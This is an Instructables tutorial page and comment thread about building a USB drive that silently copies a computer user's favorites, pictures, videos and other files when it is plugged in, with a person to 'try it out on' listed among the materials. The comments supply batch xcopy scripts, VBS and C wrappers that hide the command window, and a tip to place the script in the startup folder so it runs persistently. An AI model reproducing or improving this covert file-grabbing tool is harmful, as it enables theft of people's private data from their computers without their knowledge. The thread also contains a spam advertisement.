How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Step 1: Materials needed

Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
I made all the file as described but its is not working my windows is 8.1 pro. Plz. Solve my problem as fast as can. After i click on file.bat command prompt pop up and copying start . Solve my problem. Thanks
<p>my only question is how do you reverse the processs? How do you make the computer copy the USB files onto the computer? it seems that would be better for trolling</p>
<p>In the file.bat this code is in there to copy files from the PC.</p><p>%backupcmd% &quot;%USERPROFILE%\pictures&quot; &quot;%drive%\all\My pics&quot;</p><p>So if you switched the two codes in quotes it'll copy files from the USB. Like So.</p><p>%backupcmd% &quot;%drive%\all\My pics&quot; &quot;%USERPROFILE%\pictures&quot;</p>
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% &quot;%USERPROFILE%\Favorites&quot; &quot;%drive%\backup\favorites&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Desktop\*.wmv&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Contacts&quot; &quot;%drive%\backup\contacts&quot; %backupcmd% &quot;%USERPROFILE%\Links&quot; &quot;%drive%\backup\links&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;%USERPROFILE%\My Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mpg&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Documents\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\My Pictures&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;%USERPROFILE%\Videos&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;%USERPROFILE%\Music&quot; &quot;%drive%\backup\mp3&quot; %backupcmd% &quot;%USERPROFILE%\Downloads&quot; &quot;%drive%\backup\downloads&quot; %backupcmd% &quot;D:\*.jpg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.jpeg&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.bmp&quot; &quot;%drive%\backup\img&quot; %backupcmd% &quot;D:\*.3gp&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.mp4&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.avi&quot; &quot;%drive%\backup\vid&quot; %backupcmd% &quot;D:\*.wmv&quot; &quot;%drive%\backup\vid&quot; @echo on cls
<p>it only copy one file with same extention. but how we can copy many files with same extension</p>
hmm, is there a simple way i can exclude a specific folder? like say... &quot;AppData&quot;<br>it just keeps getting in the way.
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say &quot; CreateObject(&quot;Wscript.Shell&quot;).Run &quot;&quot;&quot;&quot; &amp; WScript.Arguments(0) &amp; &quot;&quot;&quot;&quot;, 0, False &quot; also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
There is in fact a way to not have a command box come up. The way I do it is:<br> +Write (and compile) a C file that runs your batch file's commands invisibly<br> <br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;stdio.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; #include &lt;windows.h&gt;<br> &nbsp;&nbsp;&nbsp;&nbsp; int main()<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; system(&quot;examplefile.bat&quot;);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return (0);<br> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br> <br> <br> <br> +Write a VBS file that runs that compiled C program (now a shiny .EXE file)<br> <br> &nbsp;&nbsp;&nbsp; Set objSh = CreateObject(&quot;Shell.Application&quot;)<br> &nbsp;&nbsp;&nbsp; objSh.ShellExecute &quot;example-exe-file&quot;, &quot;&quot; , &quot;&quot;, &quot;&quot;, 0<br> <br> Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.<br> <br> This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).<br> <br> For more help, just comment.<br> <br> By the way, I was about to write an instructable on that, but now I dont think it's necassary.<br> <br>
lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
hey please show me what to assign to folder for example if i want any bat file i say&quot; *.bat&quot; and for any file &quot;*.*&quot; what can i say for any folder any whare?? please ur blessed and show me
how would you coppy the documents folder please paste the code in the reponse.
<p>Yes, I will answer; Learn batch code. You really need that. It will make everything on your computer easier. For your needs:</p><p><em>@echo off</em></p><p><em>xcopy C:\Users\%USERNAME%\Documents E: /E /H</em></p><p>xcopy is a powerfool tool. Use it wisely! 'With great power, comes great responsibility.' ;P</p>
How can i root the files?And how did you do the icon?
No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example &quot;G://&quot;)
<p>but how</p><p>???</p>
<p>hey I want to copy only those files which are selected by user.........at some predefined location........to copy those files I will provide one option in right click context menu....</p>
<p>hey I want to copy only those files which are selected by user.......at some default location which is predefined.......</p><p>to copy the files I want to give one extra option when user right click on that file......</p>
<p>You can see this post:- http://goo.gl/dANahl</p>
<p>You can see this post: http://goo.gl/dANahl</p>
<p>Web Hosting in Rajahmundry&amp; Domain Name Registration Rajahmundry, Hosting Services Rajahmundry,Cheap Domain Registration Rajahmundry, Windows &amp; Linux Web Hosting Rajahmundry, Email Hosting Rajahmundry, RajahmundryWeb Hosting Company. For details contact http://onl9shoppy.com</p>
<p>Hey everyone I am having issues. I am trying to sync files from one folder to another when they plug in the USB drive. I have a .bat file that correctly syncs the folders. I have an autorun that changes the name of the drive and the icon. However, I can not get the autorun to run the .bat file. Any Ideas?</p>
<p>This is a problem that Windows Bill Gates himself discovered so he disabled autorun there fore stopping it froms starting pprograms other than from the computer and also this was only stoped from xp onwards and xp soo yeah...</p><p>Good luck</p><p>P.S for your trying to do this on an windows XP computer it will work unless they have trend micro office securiy it blocks all auto run features from outr side of the computer</p>
<p>I Like this page thanks</p>
<p>Thanks for the information made one, great for backups without having to click on a bunch of things. I did have to click on the autolaunch to execute but one button is a lot less thanks.</p>
could sombody modify this code so that it copys the entire hard drive.
<p>yes you could But You wold probs need a hars disk instead of a usb because It would be like 200G or more</p>
<p>Hi, I'd like to use this for backing up User profiles, and documents at my company and then later on restore that info onto their new computers. Is there anyway to make it so the backup folder automatically gets renamed to the User Profile's name?</p><p>So, I may backup multiple computers first and then later on know which documents belong to that particular user.</p>
<p>yes there is but You cant find it here go look on youtube.com </p>
If you have that much access to the pc, you could just make a batch script that copies all files and set it in the startup folder. It will run silently, and gets rid of the need for the obvious USB. Of course, you could keep the USB and have the batch file in the startup folder write to the USB.
Hello, love the product, but it does not auto run. Also for you venturous people out there, I made a simple manual kill command that will stop the process if you need to. <br> <br>~~~~taskkill /im cmd.exe~~~~ <br> <br>just put that in a .bat file and you are good to go.
One of the best ways to improve this would be to go through and correct the spelling and grammar errors. It REALLY makes it hard to follow your instructions when you don't use punctuation and run two sentences together. At one point, it took me several minutes to figure out what the hell you did to the sentence to finally understand what you were trying to say. <br> <br>Sorry if that sounds &quot;negative&quot; but a well-worded instruction would go very far in helping people to understand your process. <br> <br>Can't wait to give this a try!
I'm running windows 7 64bit pro. It does work. <br>CreateObject(&quot;Wscript.Shell&quot;).Run &quot;&quot;&quot;&quot; &amp; WScript.Arguments(0) &amp; &quot;&quot;&quot;&quot;, 0, False <br>make sure 1 one space between &amp; and WScript...
the .vbs didn't work for me so here's another I found on the Internet:<br> <br> Set WinScriptHost = CreateObject(&quot;WScript.Shell&quot;) WinScriptHost.Run Chr(34) &amp;&quot;*BatchPathHere*&quot; &amp; Chr(34), 0 Set WinScriptHost = Nothing<br> <br> - just because it may not work on other computers, - as well as mine
TO ALL WHO COULD USE AUTORUN ON WIN7 <br>well.. im srry 2 say but microsoft has disabled the autorun ability for usb in windows 7..as precaution since most malware come from usb. Soo if u wanna make it work its gotta be on windows 2000, xp, or vista(who uses 2000 anymore???)..and frankly there's nuthin u can do 2 change the autorun ability so you'll have to click on the launch.bat file if u wanna make this work..
hi,it works well,thank you.but there's a problem that it's not invisible when i click on the launch.bat a black window opens and begin to list all the files that i want to copy; <br> <br> HOW TO MAKE IT COPY THOSE FILES WITHOUT THAT BLACK WINDOW OPENS??? <br>can u plz help??
good tutorial, now i have 1 question... <br>how to stop/cancel copy ?
how about automatically copying all files from any USB plugged to the computer into the hard drive?
hi and thnx <br>i do as u told and it work properly except that i have to click on launch.bat file to start copy. what is the problem and what should i do? <br>Thanks again
This autorun will be captured and deleted by pretty much any AV that is installed. Also, autorun from USB does not work at all on Windows 7. <br> <br>This will still work by running the Launch.bat directly, but a silent autorunner is no longer possible on most PCs (for obvious reasons...like this one)
How ever late I may be. <br /> <br />It works....
does their computer need to be on/logged in?
hello <br>its really great subject but i just want to ask if want to copy the jpg files <br>but from the whole hard drive <br>not only form the C drive <br>i mean form the drive D,E,F..... etc <br>what should i write <br>and thanks alot
any way to make to see it when i press (for example) the &quot;c&quot; key?<br> thanks in advance
Doesn't work in windows 7, only Vista and XP, windows removed the autorun from flashdrives for security reasons.
i tryed your program but it wouldn't automatically come up
can somebody just put the code in that you need
Really cool idea, but your DOSing needs some work. Like, a lot off work. <br/>&quot;:: variables&quot; ?<br/>&quot;/min&quot; '/min' is not recognized as an internal or external command, operable program or batch file.<br/>&quot;SET odrive=%odrive:~0,2%&quot; I'm sure this has a use, but I can't figure out what it is.<br/>And lastly, you only need &quot;@Echo off&quot; at the beginning of the batch.<br/><br/>Still a really cool idea though :)<br/> -Revan<br/>
Actually, you need some DOSing work if you don't get this. it took me a couple of hours to find out what it does. first, the ::variables is just a comment, they are not run, it just lets you know what it is while editing. the /min, was most likely used to run something minimized. and almost the last but not least, the SET odrive=%odrive:~0,2% has a very important use.<br><br>copied from cmd help itself states:<br>----------------------------------------------------------------------------------------------------<br> %PATH:~10,5%<br><br>would expand the PATH environment variable, and then use only the 5<br>characters that begin at the 11th (offset 10) character of the expanded<br>result. If the length is not specified, then it defaults to the<br>remainder of the variable value. If either number (offset or length) is<br>negative, then the number used is the length of the environment variable<br>value added to the offset or length specified.<br><br> %PATH:~-10%<br><br>would extract the last 10 characters of the PATH variable.<br><br> %PATH:~0,-2%<br><br>would extract all but the last 2 characters of the PATH variable.<br> -----------------------------------------------------------------------------------------------------<br>so what it is saying is............, sets the variable odrive to %odrive:~0,2%<br>now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.<br>which in turn would be the drive and the colon. <br><br>such as<br>C:<br>F:<br>D:<br>and so on and so forth.<br><br>and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.

About This Instructable


522 favorites


More by bigdaddyclint: How to make flash drive that copy's users files silently and automatically
Add instructable to: